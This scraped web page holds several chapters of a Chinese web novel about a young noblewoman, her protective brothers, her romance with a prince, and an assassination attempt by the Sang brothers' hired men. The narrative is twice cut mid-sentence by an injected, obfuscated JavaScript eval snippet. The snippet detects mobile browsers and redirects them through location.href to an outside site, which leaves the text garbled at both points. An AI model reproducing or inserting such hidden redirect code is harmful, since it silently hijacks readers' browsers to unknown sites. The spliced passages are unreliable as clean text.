常胜眸色阴沉:“的确有道理,不然我们不会用这条计策。但,我们忽视了两件事——其一,如今是秋日、还是北风天,一旦他们用火,火势便能很快扑向我们自己。而对岸的,隔了江水,他们不会因为这场火而有任何损失。第二,火势起来的时候,隐藏在暗处的俞青,箭杀我很是容易!若我没猜错的话,他对自己的箭术应该很有信心!” “箭术。”常利咀嚼着这俩字,道:“可不是一般人家能学起来的,他到底是什么人?” 弓箭,弓不难,难的是箭。 没点家底的,根本供不起儿子学箭术,损耗太大! 常胜道:“我已经派人去查探他的底细了。” 正说着,他的亲信进来:“总舵主,咱们安插在太子近卫身边的探子来报,太子虽然重伤但已经脱离危险,养养就会好了。而太子那边,逍王来了!此人腿部受伤,进进出出需要随扈背负。” 顿了顿,他又道:“另外,有兄妹几人,一直进出太子的营帐。据说,太子的伤便是那个女子……永安县主喻初晴所治!” 后面这一句,让王瑞鹏脸色极为好看。 毕竟,上次他们说到永安县主的时候,还在嘲讽太子,上了战场都离不开女人。 结果,这个女人如此关键! “逍王?”常胜拧眉,不太能理解:“他不是一向不插手储位之争,游离在皇权之外吗?怎么会来夏河参战了,难道他要站太子这边?” 常利也抓住了一个重点:“永安县主会医术,怎么也没有人送消息给咱们?” 这边一头雾水,又有人来报:“总舵主!外面有兄弟二人,是京城那位送来的,说是我们肯定用得着他们!” “哦?”常胜拧眉问:“确定是京城那位送来的?” “是的!”那人双手将信送上。 常胜打开信笺,迅速浏览了一遍后,递给常利,随后道:“请他们进来!” 不多时,二人进来了。 “桑怀安(桑怀盛),有礼了!” 一看就是兄弟二人,虽然气质不同,但样貌是有几分相似的。 常利也看完了信,想不明白:“那位主子请你们过来,是做什么呢?” 这两个看起来都是书生的样子,也不像是能打的。 说到书生,常利便有心理阴影。 俞青可不就是书生模样,让他摔了这么大一个跟头! 相比于其他人,俞青是细作这件事,他更难接受一些。 因为对他来说,俞青是叛徒! 他被背叛了! “总舵主,各位。”桑怀安冲众人微微一笑,道:“兄弟不才,对帝京的事却是多有了解。太子营中不是有永安县主么?” 众人都看着他们兄弟。 桑怀盛恨恨地道:“那喻初晴,原是我姐!你们不了解她,我们却很了解!” 他面色愤恨,咬牙切齿:“主子让我兄弟二人到常家军来,提供情报。我二哥,可以给诸位出谋划策,务必尽早把淮明郡夺回来,并且,让太子死在夏河!” 常胜等人:“……” 好家伙,所以这是送来了太子派系的仇人? 常利问:“你们知道俞青是什么身份么?” 他过回不去的就是这件事! 桑怀安微微一笑,笑得十分瘆人:“喻初晴,俞青,你们没想过吗?” 众人恍然。 喻初晴? 俞青? “所以,这个俞青,是跟喻初晴有关系的人?”常利还是想不明白:“二位可知俞青的真实身份?” 桑怀安说道:“没能十拿九稳,但在下猜测,俞青便是十六皇叔——逍王、萧风岚!” 只是在这之前,他也很难想象,萧风岚跟喻初晴的关系,竟然是这般…… 亲昵? 以至于,萧风岚潜伏在常家军内部,用的化名都取的喻初晴名字的一半。 王瑞鹏更好奇的是:“帝京俞家,不是真有俞青这个人吗?” 第200章 恋人之间的小情趣罢了 这件事,桑怀安倒是知情的:“的确有。但这个俞青,在前几个月病逝了。并且,这个俞青原名叫俞庆,喜庆的庆!” 俞庆死于下人的苛待,没人敢声张。 正好,给萧风岚钻了空子,用了这个身份。 庆、青,念快了听起来音调差不多,短时间内无人怀疑太正常不过。 常利的五指捏成了拳头:“萧、风、岚!” 他被骗得好惨! “二弟。”常胜知晓自己的弟弟心里肯定很不好受,有些担忧。 常利摇头安抚:“大哥放心吧,我没事。” 只不过,他一定要亲手杀了萧风岚! 竟然把他骗得团团转,等他杀了萧风岚后,给萧风岚立个碑,上面就叫:俞青! 淮明郡南征军大营。 喻初晴在萧风岚的营帐内,给他换药。 本来,喻昔词想让喻今歌过来,说喻初晴没必要凡事亲力亲为。 让喻初晴给拒绝了。 “你大哥好狠!”萧风岚垂眸看着坐在小板凳上给自己腿上的伤换药的喻初晴,长吁短叹地道:“也不想想看,你们很快就要离开了,我能与你相处的时间就这么一点点,他都想剥夺掉。” 喻初晴没说话。 他又道:“不过就这样吧,我也不怪他。换了我妹妹跟别人好上了,大概我也很难忍吧?虽然我没有兄弟、也没有姐妹,已故母妃只生了我一个!” 幽幽怨怨,绿茶本色。 喻初晴抬眸看他,似笑非笑地说了句:“你怎么不用你这套去对我哥他们?” 萧风岚瞪大眼睛,表情夸张地道:“你开什么玩笑!我敢这样跟他们说话,你大哥手里的扇子就挂我脸上了,你二哥的锤子一定比扇子更快,不不不,说不定还是你三哥的佛珠更快一些!” 说白了,绿茶只对吃这套的人有用。 例如喻初晴喜欢他这样,她其实是享受的。 常利喜欢这样,有成就感。 但很明显,常胜和王瑞鹏就不太吃这套! 而喻家这几个兄弟,先入为主的观念太强了,不是他功力不够深厚。 好比喻初晴,她明明知道他是故意这样那样的,心里清醒着呢,但就喜欢这样的情趣。 真的,就是恋人之间的小情趣罢了,一旦他过火了、或者她没心情,一样不吃。 “你倒是对我几个哥哥很了解。”喻初晴笑了笑,道:“怎么不说小弟?” 萧风岚嘿嘿一笑:“其实我觉得小弟很好攻略的,主要是咱们现在也没什么时间了,但凡多给我一些时间,我一定很快就把小弟拿下!” 喻初晴被他逗笑了。 敷好药,她给他把伤口包扎起来,去洗了手。 萧风岚的眸光就没有离开过她,帐篷就这么点大,她的身影走到何处,他就追着看向何处。 “晴晴,你们会很快从祖籍回来吗?” 这个问题,喻初晴很认真思考过:“我觉得,朝中那位太子的对敌,应该不会乐见响马盗一路败退,这时候,应该要出一些杀手锏了。” “嗯。”萧风岚颔首:“按原来的战局,仅仅是两军隔岸相望,估摸着都要磨很久。但如今你的良计,快速破了僵局,并且让南征军大获全胜。不知道是哪个皇子,应该急了。” 然后问题又来了:“那么,他们会派出什么杀手锏?” “对那个人来说,响马盗的存在,不过是他的其中一张牌罢了。”喻初晴叹息一声,道:“这个人心可真狠,为了成全他的路,死多少人也无所谓。” “对!”萧风岚认可她的想法:“太子是拦路石,他就为了把太子弄死,便如此大费周章,不拿百姓的命当回事。此人,绝不能让他上去!” 响马盗要打,与太子对台的那个人也必须要揪出来除掉! 喻初晴抿唇:“可惜我们此时都不在京中,不然总能抓到把柄。” “可你刚把南阳侯府打了,留在京中时日一长,容易被人指指点点。”萧风岚也知道她为何一打完南阳侯府,就要立刻南下。 一方面说是认祖归宗。 但对喻初晴来说,认祖归宗很重要吗? 说白了,她不过是顺势而为罢了。 喻初晴耸肩:“所以,这世上很多事,都讲个顺其自然、无为而治!” 洗完手回来,萧风岚揽住她的腰将她抱住。 “小心你的伤!”喻初晴尽量避开他受伤的那条腿。 萧风岚让她坐在自己没受伤的腿上,脸便埋进了她怀里,闷闷地道:“你这一去,对我来说就杳无音信了,舍不得你。” 他在喻家兄弟面前揭开了面纱,他放在喻初晴身边保护的人,自然也让喻家兄弟知道了。 因为喻昔词的反对,渔樵耕读都不能再跟着喻初晴走。 为了尊重喻家,喻初晴也没有坚持要带萧风岚的人。 萧风岚也尊重他们的反对:喻家绝不会是什么普通的偏远山区的大族,只怕是化外隐世家族! 否则,岂能养出这些个优秀到变态的子弟? 这种家放在百多年前,必定是世家望族,隐居了以后也不会放下自己的骄傲的。 喻初晴没说话。 萧风岚又道:“我很好奇,喻家祖上到底是什么身份?” 喻初晴知晓他的脑袋瓜子有多灵,不可能没有过猜想,甚至他的猜想也许也是无限接近事实。 只是他不敢一口咬定,怕她不高兴罢了。 她笑道:“我也不知道啊,哥哥们到现在也没告诉我。” 当然,她也没刨根问底。 她有她的猜想,不管猜对了还是猜错了,都无所谓的。 萧风岚眸光灿亮地猜测:“该不会是百多年前为了躲避战乱,举族迁居,偏安一隅的吧?” “有可能。”喻初晴颔首。 萧风岚便寻思着自己看过的史书:“大燕建朝以来,没有过姓喻的大族。大燕之前的大夏,也没有。可见,已经是改姓了的。” 喻初晴安静听着。 他的猜想,与她的猜测,略有些参差。 大概在这种事上的推敲,他是比不得她纵观历史占优势吧。 她估算的,要更大胆一些—— 喻家即便不是前朝皇家,也必定是皇亲! 当然,等她去到了喻家祖籍,就会知道了! 三日后,萧景明的伤,已无大碍。 萧风岚的也恢复的很好。 二人的伤势完全可以交给随军太医,喻初晴便提出要告辞了。 行囊刚刚收拾好,萧风岚这边得到了一个消息: “晴晴,桑怀安桑怀盛出现了!” 第201章 男人的花期并不长 此时喻家兄弟也在喻初晴的帐篷这边。 喻今歌第一个反应:“什么?桑怀安、桑怀盛?他们不是被在菜市口斩首了么?” “怎么回事?”喻慕文也不知道这件事。 当时喻昔词和喻初晴回去后,也没提起,所以其他人都不知道。 喻初晴与喻昔词对视一眼,唇角勾起一抹笑意:“当时我与大哥去观刑,斩首后我亲自去验尸,确定桑雪是真的,桑怀安桑怀盛都是假的!想来,有人偷天换日,留着二人做棋子,应是想要日后冲我来的吧?” “但是……”喻昔词接上她的话:“现在就把这兄弟二人放出来,是不是有点太早了?” 倘使在他们回到帝京之后,假设喻初晴不知道那两人还活着,杀她个措手不及,是可能的。 此时就把他们放出来,为时过早! “或许,是响马盗连失两城,他们急了。”喻初晴分析道:“而太子本可在这一战之前就弄死,却被我救活了。我想,幕后那个人应该比较希望先弄死我这个绊脚石?” “但他们不是明知道,我们要回祖籍了吗?”喻今歌瞠目:“这不相当于放了狗出来,却没有可以咬的对象?” 萧风岚倒不这么想:“倒也未必完全是冲着晴晴来的。桑怀盛不足惧,但桑怀安这人的心眼子多,手段也比较脏。那人救了他们二人,这段时日必定给他们恶补过不少东西,把桑怀安放在响马盗那里,也是为了对付太子、或者……对付我!” 见他这么说,喻今歌飘到了嘴边的“那你岂不是很危险”,硬生生吞了下去。 不能关心他! 这狗东西觊觎他姐,想当他们喻家的女婿! 大哥三哥说了:喻家不与萧家联姻,他姐那里说不通,那就要让姓萧的知难而退! 喻慕文倒是嗤笑一声,垂眸盯着自己手中的佛珠,一粒粒摩挲过去,悠然说了句:“我们马上就走了,祝逍王好运了!” 针对感,如此明显。 萧风岚当即转头看向喻初晴,没说话,但那一双眨巴眨巴的眼睛仿佛在告状:晴晴,你看他! 喻初晴挑眉,笑了下,道:“无论如何,你小心一些。” 顿了顿,她又低声说了句:“太子那边你也多注意。” 不确定这几日太子是否看出来她与萧风岚的关系,哪怕太子看不出来,其他人呢? 或者,隐藏在太子亲卫中的奸细看出了呢? 即便没有这些,若换了她安插在这大营做卧底,第一步便是离间太子与逍王的关系! “放心吧晴晴,我理会得。”萧风岚下意识想要摸摸她的头,在四双虎视眈眈的眼睛下,愣是没敢动。 但,让他就这么忍气吞声,他又不高兴。 于是,他嘴一噘,道:“我很惜命的,毕竟我要留着这条命娶你呢!” 喻昔词还能忍得住。 喻慕文都不演了:“我家姑娘不嫁人!” “对!”喻尚武紧接着跟上:“我们要赘一个妹婿,绝不让晴晴嫁到别人家、面对一群跟她没有关系的外人!” 喻今歌猛猛点头,转头对喻初晴道:“姐,我觉得这样很好。你想想呀,你嫁到别人家去,把别人的亲人当家人,但人家把你当外人!那多委屈呀?你赘一个姐夫在家里,保证你不需要面对那些!” 往大了说:“再说了,嫁去别人家,以后万一男人不忠诚,纳妾、通房丫头啥的,姐你也不能忍吧?” “没错!”喻尚武立即应和小弟:“晴晴,你赘一个男人回来,以后要不要纳男妾、招男宠,那都是你说的算!” 萧风岚:“……” 够了,真是够够的! 作为舅子,考核他可以,针对成这样,就过了! 他原先还不敢在他们眼皮底下对喻初晴做什么,这下不管不顾了,娇娇软软地往喻初晴肩头一倒,俊脸压在他的颈脖上,委屈巴巴地道:“晴晴,你哥哥弟弟都欺、负、我~” 喻家兄弟:“……” 这狗东西,还是个男人吗! 喻初晴:“……” 犯规了啊喂萧狗子。 喻尚武怒了,上前一把将萧风岚从喻初晴身上薅到一旁:“整的什么娘儿们手段?你给老子站直了!” 这话喻初晴可不爱听,挑眉看去:“二哥,娘儿们手段什么样的?娘儿们什么样的?我不是娘儿们?” “……”喻尚武一怔,自觉自己说错话了的同时,又觉得自己有些委屈:“晴晴,你为了这个野男人凶二哥?” 喻初晴:“……” 得,一个茶,两个茶? 好在,大哥三哥是不会茶的。 喻昔词眼皮子直跳,道:“行了行了,都别闹了!无论如何,剩下的都是太子和逍王的事。若区区桑怀安与桑怀盛都解决不了,逍王你自己斟酌,是否配得上我们晴晴!” 毕竟,桑家已经被喻初晴打出屎了。 剩下桑怀安和桑怀盛,哪怕背后有势力扶持,也不可能成气候。 若萧风岚连这俩玩意儿都搞不过,不得自省么? 拿什么来跟喻初晴匹配? 就靠这张脸吗! 容颜是会消减的,大部分男人的花期并不长! “大哥说得对。”喻昔词的话,喻初晴很是认可,转头对萧风岚说道:“这俩人交给你了,我可不希望等我回到帝京之后,还要跟他们打交道!你,把他们留在夏河吧!” 她说得很是认真的,但萧风岚还是感受到其中有对自己的温情。 他挺直了腰杆,道:“晴晴放心,保证完成任务!” “好了,我们走吧。”喻慕文拎起自己的背囊。 喻尚武刚才说话惹妹妹不高兴了,赶忙上前,对腾云覆雨道:“晴晴的东西,给我背着!” “不用。”二人纷纷摇头:“县主的东西很多,还很细。途中我们都是要给县主拿出来用的,在二公子哪儿,不方便。” 没了献殷勤的机会,喻大美人很不开森! 好在,喻初晴及时安抚他:“二哥,也就这几步路,我们就要上马车了。” 他们兵分两路,老二老三老小跟喻初晴一起,坐马车直奔夏河下游。 喻昔词则是在淮明码头上船,去到长宁郡码头,去临夏山庄接喻惊鸿夫妇,到时候跟他们几人会合。 第202章 情场如战场,举目都是敌人 有喻尚武的武力值一路保护喻初晴,喻昔词也能放心。 “嗯!”见妹妹主动跟自己说话,喻尚武被治愈了,笑道:“晴晴,一会儿二哥就在你马车旁边守着,有事你随时叫我!” “好嘞!”喻初晴冲他一笑。 喻昔词上马,与他们分别。 叮嘱道:“尚武慕文,保护好晴晴和小弟。” 喻今歌当即道:“大哥,我不需要二哥三哥保护啦,我可以保护我姐的!” “你顾得上自己就行了。”喻昔词笑望他一眼。 有一说一,老大对小弟是比较宽容且温和的,虽然没有对喻初晴那么好。 但,对尚武慕文二人,却当真是严厉。 好在,他们也都习惯了。 喻昔词走后,喻尚武便催促:“晴晴快点上马车,二哥扶你!” 萧风岚:“……” 这针对感,实在是难以忽视啊。 他上前,道:“我来吧。” “男女授受不亲!”喻尚武一句话就想堵上萧风岚的嘴。 奈何,萧风岚是什么人? 他脸皮贼厚,没敢大声说话,却是嘀嘀咕咕的:“什么男女授受不亲?晴晴当初把我扑倒的时候,我也是这么说的!” 声音不大,但刚好几兄弟都能听得见。 喻今歌倏地瞪大双眼:“什么?” 喻慕文的脸色瞬间黑下来,掌心佛珠捻得飞快:“逍王,脸不要了是吗?” 眼瞧着喻尚武又要直接动手,喻初晴一把拉住他,道:“好了,他一贯如此,哥哥们莫要计较。” 这句话,也是很宠了。 闻言,萧风岚热切地看着喻初晴,道:“晴晴,我扶你上马车。” “嗯。”喻初晴同意了。 其实她想说:我好手好脚的,又不是不能自己上! 但他们都把她当金贵的主儿,有时候也可以惯一下吧。 萧风岚的伤还没好,走路还是一瘸一拐的,好歹不用渔背着了。 他扶着喻初晴的胳膊,护着她的后腰将她送上马车,低声道:“晴晴,我会很想你的。你也记得想我呀!” 黏黏糊糊的,喻尚武拎着锤子的手在抖动,很努力才能控制自己不一锤子砸过去。 喻慕文直接转头,翻身上马。 眼不见为净! 没办法,那是妹妹惯着的。 很明显,晴晴就喜欢这种调调,她乐在其中,当哥哥的有什么办法? 喻今歌是要跟喻初晴坐马车的,站在一旁生无可恋:“说完没有呀!让你说到天黑,要不要啊!” 毕竟年纪小,中二少年,家里也没养出他对皇权低头,所以他压根不怕萧风岚这个王爷。 喻初晴蹲在马车门口,失笑。 她看了两个哥哥都已经转身过去,上马了。 怨气能复活十个邪剑仙! 但分别在即,她还是要给萧风岚一点甜头,冲他招招手:“你上来点。” 想要马儿跑,就要让马儿吃草。 训狗就要打一巴掌再给一颗甜枣。 调教男人嘛,需要张弛有度、若即若离、恩威并施! 萧风岚凑上前,因为瘸腿动作有点慢。 却见喻初晴将车帘掀起,扣住他的后脑勺让他的头钻进了马车内。 借着车帘的遮挡,柔软的唇瓣贴在了他的薄唇上。 她用气声低语:“你尽可能十一月内结束战事,我也尽量在那之前回帝京。” 这小举动,果然让萧风岚心花怒放。 他笑得甜丝丝的,问:“大冬天的在外赶路,你会很辛苦的。” “总好过开春雨季赶路吧?”喻初晴挑眉问他:“难道你希望我明年再回?” “那不要。”萧风岚的话说得黏糊糊的,觉得不够,凑上去又亲了她一下,道:“晴晴,我可以等的。你只管主意自己的安危,安全第一。” “好。”喻初晴颔首:“你也一样,不准再受伤了!如果再像先前一样弄一身的疤,看我嫌不嫌弃你就完了!” 萧风岚轻笑,答应了:“好。” 但,想到马上要分别,看着她的眼神里充满了不舍,眼圈又要红了。 喻初晴无奈。 他们俩,大概是拿反了剧本的。 她是女人却偏理性,他是男人却偏感性。 她叮嘱:“记得我留给你的药,用途我都给你说了。要善于使用!” “好。”萧风岚只敢应一个字。 怕多说,自己就会忍不住哭出来。 “送君千里终须一别!”马车外,喻今歌不知道二人在车里干什么,却能听到他们的对话。 他感慨地道:“再这样,我看天黑都走不了咯!” 喻尚武回头说了句:“赶紧出发,太子好像出来了!” 声音压低,足够他们听到。 闻言,萧风岚立即站直了,什么依依不舍的分别都不复存在,赶忙挥手:“快走快走,不是已经道别过了吗还要出来?他又不是你的谁,至于一送再送么!” 两兄弟骑马,姐弟俩乘马车,腾云覆雨一人坐在马车门外,一人在马车内伺候。 一行立即出发。 萧景明的确是出来了,但他伤在前胸,伤势比较重,出来的速度比较缓慢。 当他站在大营外的时候,只能看见马车后方扬起的灰尘! 萧风岚看他极度不顺眼:“太子还没养好伤,你出来做甚?” 若非这是他侄孙,换个好拿捏的外人,觊觎他的晴晴,他恨不能一掌拍死! 萧景明狐疑的目光瞧了他一眼,问:“皇太叔也是有伤在身,不也出来送行?孤从前怎么没发现,皇太叔与初晴关系这么好?” “那是还有话没说完!”萧风岚很想说“我与晴晴是一对”,但,为了喻初晴的闺誉他还是没说。 虽说喻初晴不在意,他也不能不把她的声誉当回事。 萧景明盯着他看了一会儿,也不知道信了没有。 半晌后,说了句:“窈窕淑女,君子好逑!初晴很好,孤倾慕她已久。皇太叔,若你也有此意,还请相让!” 萧风岚瞪眼:“!!!” 狗太子,竟敢说出这种话! 他冷哼,看也不看萧景明一眼便一瘸一拐地往里走:“省省吧太子,她都拒绝你多少次了!” 一句话扎进了萧景明的心窝里! 萧景明回过身来,看着他的背影,面上不显,心里却是一片沉郁。 他心道:皇太叔,情场如战场,举目都是敌人! 鹿死谁手,犹未可知! 螳螂捕蝉黄雀在后。 长丰郡大营内,桑怀安很快得到消息。 “怀安公子,喻家几人已经离开淮明大营了!” 第203章 外表很好相处,内心却很疏离 离开帝京来到夏河,主子给桑怀安好些可用人手。 如今的他,已经不是先前那一无所有的桑二公子了! “二哥。”桑怀盛拧眉,不解地问:“喻初晴怎么就走了呢?她脑子好用,太子又信任她,我还以为她要给太子做军师呢!她这一走,二哥想与她博弈的计划,岂非破灭了?” 桑怀安面色阴翳,一双眼眸里全都是算计:“无妨。仇是一定要报的,我本以为把喻初晴弄死在夏河是最好。但她既然跑了,便之后再说吧。” 他看着摆放在面前桌上的军事舆图,道:“我们现在首要的任务,是杀太子!” “怀安公子……”手底下的人又问:“要不要派人半路截杀喻家几人?” 桑怀安摇头:“喻慕文是个书生就算了,那喻今歌臭小子一个也不足为惧。但喻尚武跟着他们,喻尚武的武力太过变态,你带来的人手中,可有够他打的?” 面前此人,就是他背后的主子给他的人手的头头,叫周莫,手底下带着三十人,奉命听桑怀安的委派。 明面上,他得听桑怀安的。 但他心里,对桑怀安自然是不太服气的。 桑怀安算什么东西,一个连自己的妹妹都斗不过的蠢货,也配骑在他头上? 要不是主子要利用他对喻初晴的仇恨搞事,他周莫怎么要受这种屈居蠢货下的鸟气? 尤其是桑怀安问的这一句——岂非是嘲讽他手底下三十人,竟然没一个打得过喻尚武的? 但,想到主子的吩咐,周莫还是忍下了这口气,道:“的确,喻尚武年轻,但武功很厉害。但周某认为,他没什么脑子,可以调虎离山。把他调开,喻慕文和喻今歌弱鸡,一下就掐**。杀喻初晴,还是有可能的。” “哦。”桑怀安眼珠子一转,道:“那你去吧。” 周莫便转身出去了。 看着他的背影,桑怀盛蹙眉,问:“二哥,你觉得他能成功不?” 桑怀安冷哼一声:“喻尚武是不聪明,但他也不蠢。他们一家子对喻初晴无脑爱护,哪有这么容易被引开?” “那你还让他去?”桑怀盛不解。 桑怀安唇角抿成一条直线:“这个周莫,不服气我管他。不让他吃点亏,**现在谁才是老大!” 桑怀盛似懂非懂地道:“二哥说得对,还是二哥聪明!” 被夸了,桑怀安并没有很兴奋。 毕竟他这个小弟,跟喻初晴同龄,又得喻初晴亲自教了几年,却学不到半点本事,的确是个废物! 但,废物就废物吧。 他已经仅剩这个亲人了! 想到这个,他询问:“不是让你去打听娘的下落了吗?问到了吗?” 父亲自缢、大哥死在发配途中、桑雪死于斩首,母亲与没腿的老三被流放。 以前没想过孝顺,但身为人子,遇到这些事后,他还是惦记母亲的。 桑怀盛眼神黯淡,道:“没有。” 他们背后的主子,很早就给人手让他们去追母亲与桑怀志了,也的确追上了被流放的桑家其他人。 但据说是他们在途中遇上了一伙山匪,将他们大部分女眷都给抢了。 也有一部分男丁,但对方是有挑选性的。 桑怀志就没被抢走! “说来奇怪……”桑怀盛想不明白:“山匪抢堂姐妹他们,我能理解。毕竟这些土匪缺女人!但,他们把母亲、还有几个婶子也给抢走了,这是几个意思?” 桑怀安眼神阴暗:“母亲虽也四十,那些婶子也都有三十好几,但他们历来养尊处优,长得也好。山匪大多数光棍,时间一长,母猪尚且赛貂蝉!” 抢女人很好理解,但…… 桑怀盛又问:“那抢那些男丁,又是做甚?” 桑怀安对此也只能是猜测:“兴许,是他们缺人?又或许,是用来拿捏这帮女眷。女子贞洁很重要,让她们顺从,有一个极好的办法——捉住她们的丈夫儿子,逼迫她们就范!” 闻言,桑怀盛看向自家二哥的眼神有些诡异。 从前怎么没发现,二哥内心竟然这般狠辣? 但是,想到他最后一次见喻初晴,在牢中听到喻初晴说的那些话——二哥的罪名很多,每一条都胆大且…… 无人性! 他的小心脏,情不自禁地抖了抖,想着:以后如有必要,二哥会不会把我也推出去送死? 喻初晴这边。 从淮明到建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752055|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京对岸,倒不算特别远,若是骑马能快一些。 但男人们一致让喻初晴选马车,这是他们对她的疼爱,心里想着反正等父母亲会合也是需要时间的,也就随便了。 晌午,他们在一处溪流边歇脚。 腾云在树下铺了毯子,让喻初晴在这边坐下。 众人吃点干粮就对付过去了。 主要是马匹要休息,要喝水吃草。 “要赶路,不然把这馒头蒸软和一些,会更好就口些。”喻慕文拿出干粮一个个分。 喻初晴接过,道:“出门在外的,能将就就将就。我没那么娇气。” 说到这个,喻慕文笑道:“晴晴的确不像权门贵女,一点儿世家千金的架子都没有。” 喻尚武一口把大馒头咬了三分之一,含糊不清地道:“那当然了,晴晴是咱们家人!” “我姐比那些贵女千金好多了!”喻今歌要斯文很多,一边吃一边道:“要我看啊,什么公主郡主都比不上我姐呢!” 他们又不是没见过郡主。 萧淼淼不就是? 在他姐面前,亲王郡主也化身小迷妹,什么都听他姐的! “你们啊。”喻初晴很是无奈:“不要老是把我高高捧起,我不过也是肉体凡胎,一个很普通的人。只是比别人勤奋一点,比别人想的多一点。” 说难听,她这个人吧,挺表里不一的。 外表很好相处,内心却很疏离。 且,是个利己主义者。 “并非将你捧高。”喻慕文笑道:“而是,我们家晴晴本来就理应高高在上。” 那萧风岚,根本配不上! 但知道喻初晴不喜欢听,他就不说这话了。 几人有说有笑地填饱了肚子,准备启程。 喻初晴正要上马车,马车里突然窜出来一只猴子,抱着一只包袱就跑! “啊,野猴子抢东西!”腾云想要追上去。 但喻尚武的反应速度贼快,一眨眼人影不见了:“臭猴子,把我妹妹的东西还来!” 喻慕文脸色一变:“今歌,把武器拿手里!” 果然—— 喻尚武这边一走远,他们便被六个人包围住了! 第205章 要杀就要杀干净 刺客小分队的偷偷,发现颓势已有去意。 抬起左臂挡住了喻今歌抽过来的狠狠一索,朝面前扔了一枚霹雳弹! 一阵烟雾弥漫,喻今歌只能闭眼后退。 烟雾散去,已经没有那人的身影。 腾云覆雨各自擒住一人,扔在了喻初晴前方的空地上。 一个四肢的筋都被挑断,一个身上有七八个血窟窿。 实惨。 “县主,抓了活口!” 喻今歌很是不服,踩着气呼呼的脚步回来:“姐,让他给跑了!” “那人的武功,缠斗下去你不是他对手。”喻慕文走上前来,给了一个很中肯的评价。 喻今歌不服:“凭什么说我不行!” 喻慕文看他一眼,一针见血地道:“你实战经验不够,若再给你几年成长,杀他就不难了。” “……”喻今歌噎住,哼了一声,道:“我实战经验不够是为啥?你们每次都把敌人霸占了,一个都不留给我!” 喻慕文说得很敷衍:“行,下次留给你,我在一旁看戏。菜,就多练!” 喻今歌:“……” 好家伙,更气了! 喻初晴好笑,将因为太酸不想吃的橘子,塞了一片进喻今歌嘴里,道:“别跟三哥斗嘴,三哥同时杀两人,都没废多少功夫。” “**不费功夫,洗衣裳费时间。”喻慕文嫌弃地脱下自己那件书生儒袍,从马车上找到自己的包袱,换了一件干净的。 两个在地上痛得嗷嗷叫的刺客:“???” 这一家子是魔鬼吗! 斯斯文文的书生,**如切菜,他是怎么好意思戴串佛珠在手上、还一天天捻佛珠念心经的? 瘦巴巴跟个小竹竿一样的半大孩子,看上去跟炸毛小猫一样,他爪子为什么这么利? 铁索这种似鞭又不是鞭的武器,什么变态造出来的? 而两个婢女,穿着很普通的棉布衣裳,头上还戴着漂亮的珠花,看上去虽英气、却还是妙龄女郎的气质占上风。 她们出手不要命,却比要命还可怕! 那永安县主喻初晴,在这样的血雨腥风下,竟真能安然坐在树下吃果子,还嫌弃橘子太酸? 他们都以为,引走了喻尚武,杀他们几个不要太容易。 现实给他们狠狠上了一课! 要命的一课! 而就在此时,拎着大铁锤的喻大美人回来了,看到现场一片血腥,不由一愣。 “怎么回事?”他把从猴子手里抢回来的包袱,放回马车上。 走过来的第一时间就是看喻初晴:“晴晴你没事吧?” 她身上干干净净,甚至气息都没有任何紊乱的,显然没事。 而他三弟换了一件衣裳。 三弟的臭毛病他知道,肯定是杀得太狠,飞溅了自己一身血,就要立刻换衣服。 至于小弟…… 小弟手里还拎着铁索,铁索上都是血。 腾云覆雨二人也是,手持利剑,剑尖上还在滴血。 他们显然经过了一场血战! “没事。”喻初晴应了一声,指了指地上的两个血人,道:“例行公事审一下吧,看他们是谁派来的。又是谁养出来的鹰犬,这么不聪明。回头我见着此人,一定要当面嘲笑他!” 审问阶下囚,喻慕文很有一手,腾云覆雨更行。 都不太花功夫,这两人就招供了: “我说我说!是桑怀安派我们出来追杀你们的,着重要杀永安县主!” 喻初晴一点意外神色都没有,道:“桑怀安个穷逼,可养不起手下。他投靠了谁,谁将你们这些人调派给他用的?” 两个刺客都不想说。 又是一阵折腾。 “我说我说!我们是三皇子从暗卫营里挑出来,给桑怀安调遣的!” 几人都看向喻初晴。 喻初晴挑眉:“萧金煜?” 喻慕文道:“上次也是三皇子的人,是迷局,还是真的是他?” 也有可能是被栽赃嫁祸的。 喻初晴问:“你们说你们是三皇子的人,有什么证据?” 手筋断了的刺客无法动弹,另一个掏出一枚牌子。 这牌子就是暗卫营的人的身份铭牌,虽说暗卫与军队里的士兵不是一个概念,但记名方式却是一样的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758652|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>人太多了,不可能全部都互相记得,便利用身份铭牌证明每一个人的身份。 “我们都招了,县主,是不是放了我们俩?” 那刺客是暗卫营里出来的,但能这么菜,显然也不是什么厉害角色。 怂得很。 “原来你们不是死士?”喻今歌诧异地道:“这么没骨气?死士不是一般任务失败立刻**的吗?” 那刺客道:“我们不是死士,只是暗卫。拿多少银子干多少事,死士拿得多,他们卖的是命!” 喻今歌瞠目结舌。 喻尚武拧眉,问:“晴晴,怎么处理他们两个?” “留着累赘,直接杀了吧。”喻初晴丢下这话,转身上马车去了。 很明显:你们杀吧,我不看。 刺客急了:“**县主!我们已经招供了,为什么还要杀我们!” “闭嘴!”喻尚武一脚踹上去:“我妹妹没说你们招供就不杀!” 结果,三兄弟没有一个开始动手。 腾云覆雨二人反手就抬起手中利剑,分别刺进了两名刺客的心脏! 喻今歌再次震惊:“二位姐姐好快的手?” 